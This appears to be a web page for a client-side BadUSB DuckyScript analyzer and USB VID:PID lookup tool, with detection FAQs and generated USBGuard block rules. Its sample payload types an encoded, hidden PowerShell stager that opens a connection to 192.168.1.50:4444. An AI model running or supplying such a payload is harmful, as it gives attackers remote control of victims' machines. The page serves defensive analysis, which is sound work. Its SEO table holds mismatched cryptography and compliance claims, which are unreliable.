How can defenders detect a BadUSB or O.MG Cable that spoofs an Apple or Dell VID:PID?

While firmware can easily spoof any 16-bit VID:PID pair (such as 05ac:021e for an Apple Aluminum Keyboard), defenders can detect BadUSB attacks by monitoring keystroke inter-arrival timing (<5ms per key), checking for unexpected composite interfaces (HID + Mass Storage), and alerting on Win+R (Explorer.exe spawning powershell.exe or cmd.exe).

What is USBGuard on Linux and how does it block BadUSB?

USBGuard uses the Linux kernel's USB device authorization facility (/sys/bus/usb/devices/*/authorized) to hold newly connected USB devices in an unenumerated state until their exact port path, serial number, and interface descriptors match an explicitly allowed rule.

How do USB Ethernet (RNDIS / CDC-ECM) attacks steal credentials from a locked PC?

When a device like a Bash Bunny or PoisonTap enumerates as a USB Gigabit network adapter with a fast DHCP lease and low routing metric, even a locked workstation will send background WPAD, LLMNR, and NetBIOS broadcast traffic over the new interface, allowing the dongle to capture NTLMv2 hashes.

Does this analyzer execute any DuckyScript or PowerShell commands?

No. The parser performs 100% passive lexical and timing analysis in JavaScript to visualize what a script would type and how long it takes.

Cybersecurity

USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer (2026)

Identify USB Vendor ID / Product ID (VID:PID) hardware descriptors, detect spoofed HID keyboard/network attack dongles (Rubber Ducky, Flipper Zero, Bash Bunny, O.MG Cable), and statically deconstruct DuckyScript keystroke injection payloads with Linux udev USBGuard rules.Documentation & FAQs ↓

USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer — Interactive Console

Runs locally in your browser • Instant output

Part A: BadUSB / Flipper Zero DuckyScript Analyzer

DuckyScript Source Payload

REM Flipper Zero / Hak5 Rubber Ducky Payload: Hidden PowerShell Stager
ID 05ac:024f Apple:Keyboard
DEFAULT_DELAY 40
DELAY 1000
GUI r
DELAY 450
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAOQAyAC4AMQA2ADgALgAxAC4ANQAwACcALAA0ADQANAA0ACkA
ENTER

Runtime

3.45s (3454ms)

Typed Chars

218 chars

Threat Flags

2 Alerts

Decoded HID Keystroke Timeline

L1REMFlipper Zero / Hak5 Rubber Ducky Payload: Hidden PowerShell Stager

Comment (ignored by BadUSB compiler)

+0ms

L2ID05ac:024f Apple:Keyboard

Spoofs USB Device Descriptor VID:PID (05ac:024f Apple:Keyboard)

+0ms

L3DEFAULT_DELAY40

Sets inter-command delay to 40 ms

+0ms

L4DELAY1000

Pauses execution for 1000 ms (waits for OS dialog/window)

+1040ms

L5GUIr

Opens Windows Run dialog (Win+R) — primary initial access vector

+75ms

L6DELAY450

Pauses execution for 450 ms (waits for OS dialog/window)

+490ms

L7STRINGpowershell -NoP -NonI -W Hidden -Exec Bypass -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAOQAyAC4AMQA2ADgALgAxAC4ANQAwACcALAA0ADQANAA0ACkA

Types 218 characters at ~750 WPM (1744 ms)

+1784ms

L8ENTER

HID Keycode: ENTER

+65ms

Part B: USB VID:PID Hardware Identifier Lookup & USBGuard Rule Generator

Vendor ID (VID Hex)

Product ID (PID Hex)

USB Interface Class

SparkFun Electronics — Pro Micro 5V/16MHz (ATmega32U4 Native USB HID — Classic DIY BadUSB / Arduino Micro)

Microcontroller with native USB HID descriptor support; rarely legitimate in enterprise workstations.

HIGH-RISK BADUSB

Generated Linux USBGuard Rules (/etc/usbguard/rules.conf)

# /etc/usbguard/rules.conf — Generated Zero-Trust USB HID Policy
# 1. Explicitly reject this BadUSB / microcontroller VID:PID
reject id 1b4f:9206

# 2. Block composite USB Mass Storage devices that also register a Boot Keyboard (03:01:01)
reject with-interface all-of { 08:*:* 03:01:01 }

# 3. Require manual authorization for any new secondary HID keyboard if one is already attached
block with-interface equals { 03:01:01 } if !allowed-matches(with-interface equals { 03:01:01 })

Ready

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Blog / Documentation HTML Citation

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2026 Quick-Reference Cheat Sheet & Benchmark Table: USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer

Quick Answer & 2026 Technical Summary (duckyscript analyzer usb vid pid lookup)Updated 2026 Standard

Unlike a standard USB flash drive (USB Class 08h Mass Storage) whose filesystem is scanned on mount, a BadUSB device enumerates as a standard USB Human Interface Device (Class 03h HID Keyboard). The operating system trusts the device as a human typing on a physical keyboard at 1,000+ words per minute. Use this interactive duckyscript analyzer usb vid pid lookup above to test badusb hid keystroke injection detector, usb vendor id product id database lookup, and usbguard udev rule generator locally in your browser with zero server uploads.

Target Keyword Spec: duckyscript analyzer usb vid pid lookup  |  Modules: DuckyScript 1.0 / 3.0 Static Payload Decompiler • USB VID:PID Hardware & Attack-Tool Fingerprint Lookup • Composite Device & Spoofed Descriptor Risk Scoring

Primary Focus: duckyscript analyzer usb vid pid lookup

Core Capability: badusb hid keystroke injection detector

Privacy Mode: 100% Client-Side (Zero Upload)

Technical Parameter / Module	Standard / Keyword Spec	Architecture & Validation Rule	Operational Use Case (2026)
DuckyScript 1.0 / 3.0 Static Payload Decompiler	`badusb hid keystroke injection detector`	Parse DuckyScript payloads line by line to calculate total execution durati...	Incident Response & Physical USB Drop Analysis
USB VID:PID Hardware & Attack-Tool Fingerprint Lookup	`usb vendor id product id database lookup`	Cross-reference hexadecimal VID:PID pairs (e.g., 05ac:021e Apple Keyboard s...	Endpoint Hardening Against BadUSB & O.MG Cables
Composite Device & Spoofed Descriptor Risk Scoring	`usbguard udev rule generator`	Detect suspicious composite USB topologies where a flash drive (Class 08h M...	Red Team Payload Timing & EDR Telemetry Calibration
Execution & Privacy Architecture	`100% Client-Side WebCrypto / JS Sandbox`	0 Bytes Sent to External Servers	Safe for internal SOC & authorized lab artifacts
NIST SP 800-53 / OWASP Alignment	`OWASP ASVS v4.0.3 / NIST CSF 2.0`	Deterministic Rule & Header Verification	Maps findings to actionable hardening controls
Cryptographic & Entropy Standard	`SHA-256 / AES-256-GCM / Argon2id`	≥ 128-bit Effective Security Margin	Meets 2026 post-quantum & zero-trust baselines

Step-by-Step Workflow

4 Easy Steps

01Phase 1

Look Up USB VID:PID & Interface Class

Enter a 4-byte hex Vendor ID and Product ID (e.g., 05ac:021e or 16c0:0486) and select the advertised USB Interface Class to inspect hardware legitimacy.

02Phase 2

Paste a DuckyScript Payload for Static Analysis

Paste raw DuckyScript commands (DELAY, GUI r, STRING, ENTER, ALT y) or load a realistic Red Team test preset into the analyzer.

03Phase 3

Audit Keystroke Velocity & MITRE ATT&CK Flags

Review the calculated typing speed in Words Per Minute (WPM), total payload execution window, and flagged post-exploitation triggers (UAC bypass, AMSI disable, exfil).

04Phase 4

Export Defensive USBGuard & EDR Detection Rules

Copy the generated USBGuard rules.conf policy and Sysmon Event ID 1 command-line detection queries to harden target workstations.

Real-World Applications

Incident Response & Physical USB Drop Analysis

Safely inspect captured payload.dd / inject.bin scripts recovered from suspicious USB drives found during physical security assessments.

Endpoint Hardening Against BadUSB & O.MG Cables

Build strict USBGuard allowlists that block composite Mass Storage + HID devices and require explicit authorization for newly plugged USB keyboards.

Red Team Payload Timing & EDR Telemetry Calibration

Calculate exact millisecond delays and keystroke velocities to understand how EDR behavioral monitors flag superhuman (>500 WPM) HID typing bursts.

Related Editorial GuideWhat Are Non-Electronic & Physical USB Drop Attacks?

Read Tutorial →

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USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer (2026)

2026 Quick-Reference Cheat Sheet & Benchmark Table: USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer

Step-by-Step Workflow

Look Up USB VID:PID & Interface Class

Paste a DuckyScript Payload for Static Analysis

Audit Keystroke Velocity & MITRE ATT&CK Flags

Export Defensive USBGuard & EDR Detection Rules

Real-World Applications

Incident Response & Physical USB Drop Analysis

Endpoint Hardening Against BadUSB & O.MG Cables

Red Team Payload Timing & EDR Telemetry Calibration

Architectural Capabilities

DuckyScript 1.0 / 3.0 Static Payload Decompiler

USB VID:PID Hardware & Attack-Tool Fingerprint Lookup

Composite Device & Spoofed Descriptor Risk Scoring

Linux USBGuard & Windows GPO Device Control Generator

What Are Non-Electronic & Physical USB Drop Attacks?

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